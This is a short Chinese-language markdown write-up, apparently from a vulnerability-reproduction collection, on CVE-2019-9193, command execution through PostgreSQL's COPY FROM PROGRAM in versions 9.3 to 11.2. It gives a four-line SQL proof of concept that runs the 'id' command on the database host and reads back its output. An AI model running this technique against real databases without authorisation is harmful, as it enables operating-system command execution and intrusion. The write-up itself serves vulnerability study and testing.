（CVE-2019-9193）PostgreSQL 高权限命令执行漏洞.md

822 B / 2021-04-21 09:23:46
    （CVE-2019-9193）PostgreSQL 高权限命令执行漏洞
==============================================

一、漏洞简介
------------

PostgreSQL
9.3至11.2版本中的导入导出数据命令`COPY TO/FROM PROGRAM`存在操作系统命令注入漏洞。攻击者可利用该漏洞获取数据库超级用户权限，从而执行任意系统命令。

二、漏洞影响
------------

PostgreSQL 9.3至11.2

三、复现过程
------------

首先连接到postgres中，并执行如下POC：

    DROP TABLE IF EXISTS cmd_exec;
    CREATE TABLE cmd_exec(cmd_output text);
    COPY cmd_exec FROM PROGRAM 'id';
    SELECT * FROM cmd_exec;

![1.png](./resource/(CVE-2019-9193)PostgreSQL高权限命令执行漏洞/media/rId24.png)

![2.png](./resource/(CVE-2019-9193)PostgreSQL高权限命令执行漏洞/media/rId25.png)